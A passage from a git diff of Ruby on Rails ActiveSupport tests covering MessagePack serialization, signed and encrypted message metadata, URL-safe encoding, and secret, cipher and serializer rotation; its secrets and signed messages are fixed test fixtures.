+      end
+    end
+end
diff --git a/activesupport/test/message_pack/serializer_test.rb b/activesupport/test/message_pack/serializer_test.rb
new file mode 100644
index 0000000000000..12644a3d6105b
--- /dev/null
+++ b/activesupport/test/message_pack/serializer_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/message_pack"
+require_relative "shared_serializer_tests"
+
+class MessagePackSerializerTest < ActiveSupport::TestCase
+  include MessagePackSharedSerializerTests
+
+  test "raises friendly error when dumping an unsupported object" do
+    assert_raises ActiveSupport::MessagePack::UnserializableObjectError do
+      dump(UnsupportedObject.new)
+    end
+  end
+
+  private
+    def serializer
+      ActiveSupport::MessagePack
+    end
+
+    class UnsupportedObject; end
+end
diff --git a/activesupport/test/message_pack/shared_serializer_tests.rb b/activesupport/test/message_pack/shared_serializer_tests.rb
new file mode 100644
index 0000000000000..f024cadf2a882
--- /dev/null
+++ b/activesupport/test/message_pack/shared_serializer_tests.rb
@@ -0,0 +1,178 @@
+# frozen_string_literal: true
+
+module MessagePackSharedSerializerTests
+  extend ActiveSupport::Concern
+
+  included do
+    test "enshrines type IDs" do
+      expected = {
+        0   => Symbol,
+        1   => Integer,
+        2   => BigDecimal,
+        3   => Rational,
+        4   => Complex,
+        5   => DateTime,
+        6   => Date,
+        7   => Time,
+        8   => ActiveSupport::TimeWithZone,
+        9   => ActiveSupport::TimeZone,
+        10  => ActiveSupport::Duration,
+        11  => Range,
+        12  => Set,
+        13  => URI::Generic,
+        14  => IPAddr,
+        15  => Pathname,
+        16  => Regexp,
+        17  => ActiveSupport::HashWithIndifferentAccess,
+        18  => ActiveSupport::SafeBuffer,
+        127 => Object,
+      }
+
+      serializer.warmup
+      actual = serializer.message_pack_factory.registered_types.to_h do |entry|
+        [entry[:type], entry[:class]]
+      end
+
+      assert_equal expected, actual
+    end
+
+    test "includes signature in message" do
+      assert serializer.signature?(dump(""))
+      assert_not serializer.signature?(Marshal.dump(""))
+      assert_not serializer.signature?("{}")
+    end
+
+    test "#signature? handles non-ASCII-only non-binary-encoded strings" do
+      assert serializer.signature?(dump("ümlaut").force_encoding(Encoding::UTF_8))
+      assert_not serializer.signature?("ümlaut")
+    end
+
+    test "roundtrips Symbol" do
+      assert_roundtrip :some_symbol
+    end
+
+    test "roundtrips very large Integer" do
+      assert_roundtrip 2**512
+    end
+
+    test "roundtrips BigDecimal" do
+      assert_roundtrip BigDecimal("9876543210.0123456789")
+    end
+
+    test "roundtrips Rational" do
+      assert_roundtrip Rational(1, 3)
+    end
+
+    test "optimizes Rational zero encoding" do
+      assert_roundtrip Rational(0, 1)
+
+      serialized_zero = dump(Rational(0, 1))
+      serialized_nonzero = dump(Rational(1, 1))
+      assert_operator serialized_zero.size, :<, serialized_nonzero.size
+    end
+
+    test "roundtrips Complex" do
+      assert_roundtrip Complex(1, -1)
+    end
+
+    test "roundtrips DateTime" do
+      assert_roundtrip DateTime.new(1999, 12, 31, 12, 34, 56 + Rational(789, 1000), Rational(-1, 2))
+      assert_roundtrip DateTime.now
+    end
+
+    test "roundtrips Date" do
+      assert_roundtrip Date.new(1999, 12, 31)
+      assert_roundtrip Date.today
+    end
+
+    test "roundtrips Time" do
+      assert_roundtrip Time.new(1999, 12, 31, 12, 34, 56 + Rational(789, 1000), "-12:00")
+      assert_roundtrip Time.now
+    end
+
+    test "roundtrips ActiveSupport::TimeWithZone" do
+      assert_roundtrip ActiveSupport::TimeWithZone.new(
+        Time.new(1999, 12, 31, 12, 34, 56 + Rational(789, 1000), "UTC"),
+        ActiveSupport::TimeZone["Australia/Lord_Howe"]
+      )
+      assert_roundtrip Time.current
+    end
+
+    test "roundtrips ActiveSupport::TimeZone" do
+      assert_roundtrip ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    end
+
+    test "roundtrips ActiveSupport::Duration" do
+      assert_roundtrip 1.year + 2.months + 3.weeks + 4.days + 5.hours + 6.minutes + 7.seconds
+      assert_roundtrip 1.month + 1.day
+    end
+
+    test "roundtrips Range" do
+      assert_roundtrip 1..2
+      assert_roundtrip 1...2
+      assert_roundtrip 1..nil
+      assert_roundtrip 1...nil
+      assert_roundtrip nil..2
+      assert_roundtrip nil...2
+      assert_roundtrip "1".."2"
+      assert_roundtrip "1"..."2"
+    end
+
+    test "roundtrips Set" do
+      assert_roundtrip Set.new([nil, true, 2, "three"])
+    end
+
+    test "roundtrips URI::Generic" do
+      assert_roundtrip URI("https://example.com/#test")
+    end
+
+    test "roundtrips IPAddr" do
+      assert_roundtrip IPAddr.new("127.0.0.1")
+      assert_roundtrip IPAddr.new("1.1.1.1/16")
+      assert_equal 16, load(dump(IPAddr.new("1.1.1.1/16"))).prefix
+
+      assert_roundtrip IPAddr.new("::1")
+      assert_roundtrip IPAddr.new("1:1:1:1:1:1:1:1/64")
+      assert_equal 64, load(dump(IPAddr.new("1:1:1:1:1:1:1:1/64"))).prefix
+    end
+
+    test "roundtrips Pathname" do
+      assert_roundtrip Pathname(__FILE__)
+    end
+
+    test "roundtrips Regexp" do
+      assert_roundtrip %r/(?m-ix:.*)/
+    end
+
+    test "roundtrips ActiveSupport::HashWithIndifferentAccess" do
+      assert_roundtrip ActiveSupport::HashWithIndifferentAccess.new(a: true, b: 2, c: "three")
+    end
+
+    test "works with ENV['RAILS_MAX_THREADS']" do
+      original_env = ENV.to_h
+      ENV["RAILS_MAX_THREADS"] = "1"
+
+      assert_roundtrip "value"
+    ensure
+      ENV.replace(original_env)
+    end
+  end
+
+  private
+    def dump(object)
+      serializer.dump(object)
+    end
+
+    def load(dumped)
+      serializer.load(dumped)
+    end
+
+    def assert_roundtrip(object)
+      serialized = dump(object)
+      assert_kind_of String, serialized
+
+      deserialized = load(serialized)
+      assert_instance_of object.class, deserialized
+      assert_equal object, deserialized
+    end
+end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index d6109c761d9d2..8ea79e9a441c1 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -1,9 +1,15 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "openssl"
 require "active_support/time"
 require "active_support/json"
+require "active_support/core_ext/securerandom"
+require_relative "messages/message_codec_tests"
 
 class MessageVerifierTest < ActiveSupport::TestCase
+  include MessageCodecTests
+
   class JSONSerializer
     def dump(value)
       ActiveSupport::JSON.encode(value)
@@ -16,17 +22,18 @@ def load(value)
 
   def setup
     @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
-    @data = { some: "data", now: Time.local(2010) }
+    @data = { "some" => "data", "now" => Time.utc(2010) }
+    @secret = SecureRandom.random_bytes(32)
   end
 
   def test_valid_message
     data, hash = @verifier.generate(@data).split("--")
-    assert !@verifier.valid_message?(nil)
-    assert !@verifier.valid_message?("")
-    assert !@verifier.valid_message?("\xff") # invalid encoding
-    assert !@verifier.valid_message?("#{data.reverse}--#{hash}")
-    assert !@verifier.valid_message?("#{data}--#{hash.reverse}")
-    assert !@verifier.valid_message?("purejunk")
+    assert_not @verifier.valid_message?(nil)
+    assert_not @verifier.valid_message?("")
+    assert_not @verifier.valid_message?("\xff") # invalid encoding
+    assert_not @verifier.valid_message?("#{data.reverse}--#{hash}")
+    assert_not @verifier.valid_message?("#{data}--#{hash.reverse}")
+    assert_not @verifier.valid_message?("purejunk")
   end
 
   def test_simple_round_tripping
@@ -35,8 +42,14 @@ def test_simple_round_tripping
     assert_equal @data, @verifier.verify(message)
   end
 
+  def test_round_tripping_nil
+    message = @verifier.generate(nil)
+    assert_nil @verifier.verified(message)
+    assert_nil @verifier.verify(message)
+  end
+
   def test_verified_returns_false_on_invalid_message
-    assert !@verifier.verified("purejunk")
+    assert_not @verifier.verified("purejunk")
   end
 
   def test_verify_exception_on_invalid_message
@@ -45,11 +58,54 @@ def test_verify_exception_on_invalid_message
     end
   end
 
+  test "supports URL-safe encoding" do
+    verifier = ActiveSupport::MessageVerifier.new(@secret, url_safe: true, serializer: JSON)
+
+    # To verify that the message payload uses a URL-safe encoding (i.e. does not
+    # use "+" or "/"), the unencoded bytes should have a 6-bit aligned
+    # occurrence of `0b111110` or `0b111111`.  Also, to verify that the message
+    # payload is unpadded, the number of unencoded bytes should not be a
+    # multiple of 3.
+    #
+    # The JSON serializer adds quotes around strings, adding 1 byte before and
+    # 1 byte after the input string.  So we choose an input string of "??",
+    # which is serialized as:
+    #   00100010 00111111 00111111 00100010
+    # Which is 6-bit aligned as:
+    #   001000 100011 111100 111111 001000 10xxxx
+    data = "??"
+    message = verifier.generate(data)
+
+    assert_equal data, verifier.verified(message)
+    assert_equal message, URI.encode_www_form_component(message)
+    assert_not_equal 0, message.rpartition("--").first.length % 4,
+      "Unable to assert that the message payload is unpadded, because it does not require padding"
+  end
+
+  test "URL-safe and URL-unsafe can decode each other messages" do
+    safe_verifier = ActiveSupport::MessageVerifier.new(@secret, url_safe: true, serializer: JSON)
+    unsafe_verifier = ActiveSupport::MessageVerifier.new(@secret, url_safe: false, serializer: JSON)
+
+    data = "??"
+
+    assert_equal safe_verifier.generate(data), safe_verifier.generate(data)
+    assert_not_equal safe_verifier.generate(data), unsafe_verifier.generate(data)
+
+    assert_equal data, unsafe_verifier.verify(safe_verifier.generate(data))
+    assert_equal data, safe_verifier.verify(unsafe_verifier.generate(data))
+
+    50.times do
+      data = SecureRandom.base58(Random.rand(10..50))
+      assert_equal data, unsafe_verifier.verify(safe_verifier.generate(data))
+      assert_equal data, safe_verifier.verify(unsafe_verifier.generate(data))
+    end
+  end
+
   def test_alternative_serialization_method
     prev = ActiveSupport.use_standard_json_time_format
     ActiveSupport.use_standard_json_time_format = true
     verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", serializer: JSONSerializer.new)
-    message = verifier.generate(:foo => 123, "bar" => Time.utc(2010))
+    message = verifier.generate({ :foo => 123, "bar" => Time.utc(2010) })
     exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
     assert_equal exp, verifier.verified(message)
     assert_equal exp, verifier.verify(message)
@@ -57,23 +113,13 @@ def test_alternative_serialization_method
     ActiveSupport.use_standard_json_time_format = prev
   end
 
-  def test_raise_error_when_argument_class_is_not_loaded
-    # To generate the valid message below:
-    #
-    #   AutoloadClass = Struct.new(:foo)
-    #   valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
-    #
-    valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
-    exception = assert_raise(ArgumentError, NameError) do
-      @verifier.verified(valid_message)
-    end
-    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
-                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
-    exception = assert_raise(ArgumentError, NameError) do
-      @verifier.verify(valid_message)
-    end
-    assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
-                    "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+  def test_verify_with_parse_json_times
+    previous = [ ActiveSupport.parse_json_times, Time.zone ]
+    ActiveSupport.parse_json_times, Time.zone = true, "UTC"
+
+    assert_equal "hi", @verifier.verify(@verifier.generate("hi", expires_at: Time.now.utc + 10))
+  ensure
+    ActiveSupport.parse_json_times, Time.zone = previous
   end
 
   def test_raise_error_when_secret_is_nil
@@ -82,4 +128,13 @@ def test_raise_error_when_secret_is_nil
     end
     assert_equal "Secret should not be nil.", exception.message
   end
+
+  test "inspect does not show secrets" do
+    assert_match(/\A#<ActiveSupport::MessageVerifier:0x[0-9a-f]+>\z/, @verifier.inspect)
+  end
+
+  private
+    def make_codec(**options)
+      ActiveSupport::MessageVerifier.new(@secret, **options)
+    end
 end
diff --git a/activesupport/test/message_verifiers_test.rb b/activesupport/test/message_verifiers_test.rb
new file mode 100644
index 0000000000000..38c6646999b6e
--- /dev/null
+++ b/activesupport/test/message_verifiers_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require_relative "rotation_coordinator_tests"
+
+class MessageVerifiersTest < ActiveSupport::TestCase
+  include RotationCoordinatorTests
+
+  test "can override secret generator" do
+    secret_generator = ->(salt) { salt + "!" }
+    coordinator = make_coordinator.rotate(secret_generator: secret_generator)
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+    assert_nil roundtrip("message", @coordinator["salt"], coordinator["salt"])
+  end
+
+  test "supports arbitrary secret generator kwargs" do
+    secret_generator = ->(salt, foo:, bar: nil) { foo + bar }
+    coordinator = ActiveSupport::MessageVerifiers.new(&secret_generator)
+    coordinator.rotate(foo: "foo", bar: "bar")
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+  end
+
+  test "supports arbitrary secret generator kwargs when using #rotate block" do
+    secret_generator = ->(salt, foo:, bar: nil) { foo + bar }
+    coordinator = ActiveSupport::MessageVerifiers.new(&secret_generator)
+    coordinator.rotate { { foo: "foo", bar: "bar" } }
+
+    assert_equal "message", roundtrip("message", coordinator["salt"])
+  end
+
+  private
+    def make_coordinator
+      ActiveSupport::MessageVerifiers.new { |salt| salt * 10 }
+    end
+
+    def roundtrip(message, signer, verifier = signer)
+      verifier.verified(signer.generate(message))
+    end
+end
diff --git a/activesupport/test/messages/message_codec_tests.rb b/activesupport/test/messages/message_codec_tests.rb
new file mode 100644
index 0000000000000..3a9242237c994
--- /dev/null
+++ b/activesupport/test/messages/message_codec_tests.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "json"
+require "active_support/core_ext/object/with"
+
+module MessageCodecTests
+  extend ActiveSupport::Concern
+
+  included do
+    test "::default_serializer determines the default serializer" do
+      ActiveSupport::Messages::Codec.with(default_serializer: Marshal) do
+        assert_serializer Marshal, make_codec
+      end
+
+      ActiveSupport::Messages::Codec.with(default_serializer: JSON) do
+        assert_serializer JSON, make_codec
+      end
+    end
+
+    test ":serializer option resolves symbols via SerializerWithFallback" do
+      [:marshal, :json, :json_allow_marshal].each do |symbol|
+        assert_serializer ActiveSupport::Messages::SerializerWithFallback[symbol], make_codec(serializer: symbol)
+      end
+    end
+  end
+
+  private
+    def assert_serializer(serializer, codec)
+      assert_equal serializer, codec.send(:serializer)
+    end
+end
diff --git a/activesupport/test/messages/message_encryptor_metadata_test.rb b/activesupport/test/messages/message_encryptor_metadata_test.rb
new file mode 100644
index 0000000000000..c043aeae508f0
--- /dev/null
+++ b/activesupport/test/messages/message_encryptor_metadata_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require_relative "message_metadata_tests"
+
+class MessageEncryptorMetadataTest < ActiveSupport::TestCase
+  include MessageMetadataTests
+
+  private
+    def make_codec(**options)
+      @secret ||= SecureRandom.random_bytes(32)
+      ActiveSupport::MessageEncryptor.new(@secret, **options)
+    end
+
+    def encode(data, encryptor, **options)
+      encryptor.encrypt_and_sign(data, **options)
+    end
+
+    def decode(message, encryptor, **options)
+      encryptor.decrypt_and_verify(message, **options)
+    rescue ActiveSupport::MessageVerifier::InvalidSignature
+      nil
+    end
+end
diff --git a/activesupport/test/messages/message_encryptor_rotator_test.rb b/activesupport/test/messages/message_encryptor_rotator_test.rb
new file mode 100644
index 0000000000000..1c5daf09d5768
--- /dev/null
+++ b/activesupport/test/messages/message_encryptor_rotator_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require_relative "message_rotator_tests"
+
+class MessageEncryptorRotatorTest < ActiveSupport::TestCase
+  include MessageRotatorTests
+
+  test "rotate cipher" do
+    assert_rotate [cipher: "aes-256-gcm"], [cipher: "aes-256-cbc"]
+  end
+
+  test "rotate verifier secret when using non-authenticated encryption" do
+    with_authenticated_encryption(false) do
+      assert_rotate \
+        [secret("encryption"), secret("new verifier")],
+        [secret("encryption"), secret("old verifier")],
+        [secret("encryption"), secret("older verifier")]
+    end
+  end
+
+  test "rotate verifier digest when using non-authenticated encryption" do
+    with_authenticated_encryption(false) do
+      assert_rotate [digest: "SHA256"], [digest: "SHA1"], [digest: "MD5"]
+    end
+  end
+
+  private
+    def secret(key)
+      @secrets ||= {}
+      @secrets[key] ||= SecureRandom.random_bytes(32)
+    end
+
+    def make_codec(secret = secret("secret"), verifier_secret = nil, **options)
+      ActiveSupport::MessageEncryptor.new(secret, verifier_secret, **options)
+    end
+
+    def encode(data, encryptor, **options)
+      encryptor.encrypt_and_sign(data, **options)
+    end
+
+    def decode(message, encryptor, **options)
+      encryptor.decrypt_and_verify(message, **options)
+    rescue ActiveSupport::MessageEncryptor::InvalidMessage
+      nil
+    end
+
+    def with_authenticated_encryption(value = true)
+      original_value = ActiveSupport::MessageEncryptor.use_authenticated_message_encryption
+      ActiveSupport::MessageEncryptor.use_authenticated_message_encryption = value
+      yield
+    ensure
+      ActiveSupport::MessageEncryptor.use_authenticated_message_encryption = original_value
+    end
+end
diff --git a/activesupport/test/messages/message_metadata_tests.rb b/activesupport/test/messages/message_metadata_tests.rb
new file mode 100644
index 0000000000000..5cb2c6465afc4
--- /dev/null
+++ b/activesupport/test/messages/message_metadata_tests.rb
@@ -0,0 +1,171 @@
+# frozen_string_literal: true
+
+require "active_support/json"
+require "active_support/time"
+require "active_support/messages/metadata"
+require "active_support/message_pack"
+
+module MessageMetadataTests
+  extend ActiveSupport::Concern
+
+  included do
+    test "message :purpose must match specified :purpose" do
+      each_scenario do |data, codec|
+        assert_roundtrip data, codec, { purpose: "x" }, { purpose: "x" }
+
+        assert_no_roundtrip data, codec, { purpose: "x" }, { purpose: "y" }
+        assert_no_roundtrip data, codec, { purpose: "x" }, {}
+        assert_no_roundtrip data, codec, {}, { purpose: "x" }
+      end
+    end
+
+    test ":purpose can be a symbol" do
+      each_scenario do |data, codec|
+        assert_roundtrip data, codec, { purpose: :x }, { purpose: :x }
+        assert_roundtrip data, codec, { purpose: :x }, { purpose: "x" }
+        assert_roundtrip data, codec, { purpose: "x" }, { purpose: :x }
+      end
+    end
+
+    test "message expires with :expires_at" do
+      freeze_time do
+        each_scenario do |data, codec|
+          message = encode(data, codec, expires_at: 1.second.from_now)
+
+          travel 0.5.seconds, with_usec: true
+          assert_equal data, decode(message, codec)
+
+          travel 0.5.seconds, with_usec: true
+          assert_nil decode(message, codec)
+        end
+      end
+    end
+
+    test "message expires with :expires_in" do
+      freeze_time do
+        each_scenario do |data, codec|
+          message = encode(data, codec, expires_in: 1.second)
+
+          travel 0.5.seconds, with_usec: true
+          assert_equal data, decode(message, codec)
+
+          travel 0.5.seconds, with_usec: true
+          assert_nil decode(message, codec)
+        end
+      end
+    end
+
+    test ":expires_at overrides :expires_in" do
+      each_scenario do |data, codec|
+        message = encode(data, codec, expires_at: 1.hour.from_now, expires_in: 1.second)
+
+        travel 1.minute
+        assert_equal data, decode(message, codec)
+
+        travel 1.hour
+        assert_nil decode(message, codec)
+      end
+    end
+
+    test "messages do not expire by default" do
+      each_scenario do |data, codec|
+        message = encode(data, codec, purpose: "x")
+
+        travel 1000.years
+        assert_equal data, decode(message, codec, purpose: "x")
+      end
+    end
+
+    test "expiration works with ActiveSupport.use_standard_json_time_format = false" do
+      original_use_standard_json_time_format = ActiveSupport.use_standard_json_time_format
+      ActiveSupport.use_standard_json_time_format = false
+
+      each_scenario do |data, codec|
+        assert_roundtrip data, codec, { expires_at: 1.hour.from_now }
+      end
+    ensure
+      ActiveSupport.use_standard_json_time_format = original_use_standard_json_time_format
+    end
+
+    test "metadata works with NullSerializer" do
+      codec = make_codec(serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+      assert_roundtrip "a string", codec, { purpose: "x", expires_in: 1.year }, { purpose: "x" }
+    end
+
+    test "messages with non-string purpose are readable" do
+      each_scenario do |data, codec|
+        message = encode(data, codec, purpose: [ "x", 1 ])
+        assert_equal data, decode(message, codec, purpose: [ "x", 1 ])
+      end
+    end
+
+    test "messages are readable regardless of use_message_serializer_for_metadata" do
+      each_scenario do |data, codec|
+        message = encode(data, codec, purpose: "x")
+        message_setting = ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata
+
+        using_message_serializer_for_metadata(!message_setting) do
+          assert_equal data, decode(message, codec, purpose: "x")
+        end
+      end
+    end
+  end
+
+  private
+    class CustomSerializer
+      def self.dump(value)
+        JSON.dump(value) << "!"
+      end
+
+      def self.load(value)
+        JSON.load(value.chomp!("!"))
+      end
+    end
+
+    SERIALIZERS = [
+      Marshal,
+      JSON,
+      ActiveSupport::JSON,
+      ActiveSupport::MessagePack,
+      CustomSerializer,
+    ]
+
+    DATA = [
+      "a string",
+      { "a_number" => 123, "a_time" => Time.local(2004), "an_object" => { "key" => "value" } },
+      ["a string", 123, Time.local(2004), { "key" => "value" }],
+    ]
+
+    def using_message_serializer_for_metadata(value = true)
+      original = ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata
+      ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata = value
+      yield
+    ensure
+      ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata = original
+    end
+
+    def each_scenario
+      [false, true].each do |use_message_serializer_for_metadata|
+        using_message_serializer_for_metadata(use_message_serializer_for_metadata) do
+          SERIALIZERS.each do |serializer|
+            codec = make_codec(serializer: serializer)
+            DATA.each do |data|
+              yield data, codec
+            end
+          end
+        end
+      end
+    end
+
+    def roundtrip(data, codec, encode_options = {}, decode_options = {})
+      decode(encode(data, codec, **encode_options), codec, **decode_options)
+    end
+
+    def assert_roundtrip(data, codec, encode_options = {}, decode_options = {})
+      assert_equal data, roundtrip(data, codec, encode_options, decode_options)
+    end
+
+    def assert_no_roundtrip(data, codec, encode_options = {}, decode_options = {})
+      assert_nil roundtrip(data, codec, encode_options, decode_options)
+    end
+end
diff --git a/activesupport/test/messages/message_rotator_tests.rb b/activesupport/test/messages/message_rotator_tests.rb
new file mode 100644
index 0000000000000..1bc9b5df5f5cb
--- /dev/null
+++ b/activesupport/test/messages/message_rotator_tests.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require "json"
+
+module MessageRotatorTests
+  extend ActiveSupport::Concern
+
+  included do
+    test "rotate secret" do
+      assert_rotate [secret("new")], [secret("old")], [secret("older")]
+    end
+
+    test "rotate secret when message has purpose" do
+      assert_rotate [secret("new")], [secret("old")], purpose: "purpose"
+    end
+
+    test "rotate url_safe" do
+      assert_rotate [url_safe: true], [url_safe: false]
+    end
+
+    test "rotate serializer" do
+      assert_rotate [serializer: JSON], [serializer: Marshal]
+    end
+
+    test "rotate serializer when message has purpose" do
+      assert_rotate [serializer: JSON], [serializer: Marshal], purpose: "purpose"
+    end
+
+    test "rotate serializer that raises a custom deserialization error" do
+      serializer = Class.new do
+        def self.dump(*); ""; end
+        def self.load(*); raise Class.new(StandardError); end
+      end
+
+      assert_rotate [serializer: serializer], [serializer: JSON], [serializer: Marshal]
+    end
+
+    test "rotate secret and options" do
+      assert_rotate [secret("new"), url_safe: true], [secret("old"), url_safe: false]
+    end
+
+    test "on_rotation is called on successful rotation" do
+      called = nil
+      assert_rotate [secret("new"), on_rotation: proc { called = true }], [secret("old")]
+      assert called
+    end
+
+    test "rotate().on_rotation is called on successful rotation" do
+      called = nil
+      codec = make_codec(secret("new")).rotate(secret("old")).on_rotation do
+        called = true
+      end
+      old_codec = make_codec(secret("old"))
+      old_message = encode(DATA, old_codec)
+      assert_equal DATA, decode(old_message, codec)
+      assert called
+    end
+
+    test "on_rotation is not called when no rotation is necessary" do
+      called = nil
+      assert_rotate [secret("same"), on_rotation: proc { called = true }], [secret("same")]
+      assert_not called
+    end
+
+    test "on_rotation is not called when no rotation is successful" do
+      called = nil
+      codec = make_codec(secret("new"), on_rotation: proc { called = true })
+      codec.rotate(secret("old"))
+      other_message = encode(DATA, make_codec(secret("other")))
+
+      assert_nil decode(other_message, codec)
+      assert_not called
+    end
+
+    test "on_rotation method option takes precedence over constructor option" do
+      called = ""
+      codec = make_codec(secret("new"), on_rotation: proc { called += "via constructor" })
+      codec.rotate(secret("old"))
+      old_message = encode(DATA, make_codec(secret("old")))
+
+      assert_equal DATA, decode(old_message, codec, on_rotation: proc { called += "via method" })
+      assert_equal "via method", called
+    end
+
+    test "dup isolates rotations" do
+      foo_codec = make_codec(secret("foo"))
+      foo_message = encode(DATA, foo_codec)
+      bar_codec = make_codec(secret("bar"))
+      bar_message = encode(DATA, bar_codec)
+
+      foobar_codec = foo_codec.dup
+      foobar_codec.rotate(secret("bar"))
+
+      assert_equal DATA, decode(foo_message, foobar_codec)
+      assert_equal DATA, decode(bar_message, foobar_codec)
+
+      assert_equal DATA, decode(foo_message, foo_codec)
+      assert_nil decode(bar_message, foo_codec)
+    end
+  end
+
+  private
+    DATA = [{ "a_boolean" => true, "a_number" => 123, "a_string" => "abc" }]
+
+    def secret(key)
+      key
+    end
+
+    def assert_rotate(current, *old, **message_metadata)
+      current_options = current.extract_options!
+      current_codec = make_codec(*current, **current_options)
+
+      old.each do |old_args|
+        old_options = old_args.extract_options!
+        current_codec.rotate(*old_args, **old_options)
+        old_codec = make_codec(*old_args, **old_options)
+        old_message = encode(DATA, old_codec, **message_metadata)
+
+        assert_equal DATA, decode(old_message, current_codec, **message_metadata)
+        assert_nil decode(old_message, current_codec) if !message_metadata.empty?
+      end
+    end
+end
diff --git a/activesupport/test/messages/message_verifier_metadata_test.rb b/activesupport/test/messages/message_verifier_metadata_test.rb
new file mode 100644
index 0000000000000..80b62d3e012a3
--- /dev/null
+++ b/activesupport/test/messages/message_verifier_metadata_test.rb
@@ -0,0 +1,115 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require_relative "message_metadata_tests"
+
+class MessageVerifierMetadataTest < ActiveSupport::TestCase
+  include MessageMetadataTests
+
+  test "#verify raises when :purpose does not match" do
+    each_scenario do |data, verifier|
+      assert_equal data, verifier.verify(verifier.generate(data, purpose: "x"), purpose: "x")
+
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        verifier.verify(verifier.generate(data, purpose: "x"), purpose: "y")
+      end
+
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        verifier.verify(verifier.generate(data), purpose: "y")
+      end
+
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        verifier.verify(verifier.generate(data, purpose: "x"))
+      end
+    end
+  end
+
+  test "#verify raises when message is expired via :expires_at" do
+    freeze_time do
+      each_scenario do |data, verifier|
+        message = verifier.generate(data, expires_at: 1.second.from_now)
+
+        travel 0.5.seconds, with_usec: true
+        assert_equal data, verifier.verify(message)
+
+        travel 0.5.seconds, with_usec: true
+        assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+          verifier.verify(message)
+        end
+      end
+    end
+  end
+
+  test "#verify raises when message is expired via :expires_in" do
+    freeze_time do
+      each_scenario do |data, verifier|
+        message = verifier.generate(data, expires_in: 1.second)
+
+        travel 0.5.seconds, with_usec: true
+        assert_equal data, verifier.verify(message)
+
+        travel 0.5.seconds, with_usec: true
+        assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+          verifier.verify(message)
+        end
+      end
+    end
+  end
+
+  test "messages are readable by legacy versions when use_message_serializer_for_metadata = false" do
+    # Message generated by Rails 7.0 using:
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new("secret", serializer: JSON)
+    #   legacy_message = verifier.generate("legacy", purpose: "test", expires_at: Time.utc(3000))
+    #
+    legacy_message = "eyJfcmFpbHMiOnsibWVzc2FnZSI6IklteGxaMkZqZVNJPSIsImV4cCI6IjMwMDAtMDEtMDFUMDA6MDA6MDAuMDAwWiIsInB1ciI6InRlc3QifX0=--81b11c317dba91cedd86ab79b7d7e68de8d290b3"
+
+    verifier = ActiveSupport::MessageVerifier.new("secret", serializer: JSON)
+
+    using_message_serializer_for_metadata(false) do
+      assert_equal legacy_message, verifier.generate("legacy", purpose: "test", expires_at: Time.utc(3000))
+    end
+  end
+
+  test "messages are readable by legacy versions when force_legacy_metadata_serializer is true" do
+    # Message generated by Rails 7.0 using:
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new("secret", serializer: JSON)
+    #   legacy_message = verifier.generate("legacy", purpose: "test", expires_at: Time.utc(3000))
+    #
+    legacy_message = "eyJfcmFpbHMiOnsibWVzc2FnZSI6IklteGxaMkZqZVNJPSIsImV4cCI6IjMwMDAtMDEtMDFUMDA6MDA6MDAuMDAwWiIsInB1ciI6InRlc3QifX0=--81b11c317dba91cedd86ab79b7d7e68de8d290b3"
+
+    using_message_serializer_for_metadata(true) do
+      verifier = ActiveSupport::MessageVerifier.new("secret", serializer: JSON, force_legacy_metadata_serializer: true)
+
+      assert_equal legacy_message, verifier.generate("legacy", purpose: "test", expires_at: Time.utc(3000))
+    end
+  end
+
+  test "messages keep the old format when use_message_serializer_for_metadata is false" do
+    # Message generated by Rails 7.0 using:
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new("secret", serializer: JSON)
+    #   legacy_message = verifier.generate("legacy", purpose: "test")
+    legacy_message = "eyJfcmFpbHMiOnsibWVzc2FnZSI6IklteGxaMkZqZVNJPSIsImV4cCI6bnVsbCwicHVyIjoidGVzdCJ9fQ==--53b1fc02f5b89b2da8c6ce94efa95f5cb656d975"
+
+    verifier = ActiveSupport::MessageVerifier.new("secret", serializer: JSON)
+
+    using_message_serializer_for_metadata(false) do
+      assert_equal legacy_message, verifier.generate("legacy", purpose: "test")
+    end
+  end
+
+  private
+    def make_codec(**options)
+      ActiveSupport::MessageVerifier.new("secret", **options)
+    end
+
+    def encode(data, verifier, **options)
+      verifier.generate(data, **options)
+    end
+
+    def decode(message, verifier, **options)
+      verifier.verified(message, **options)
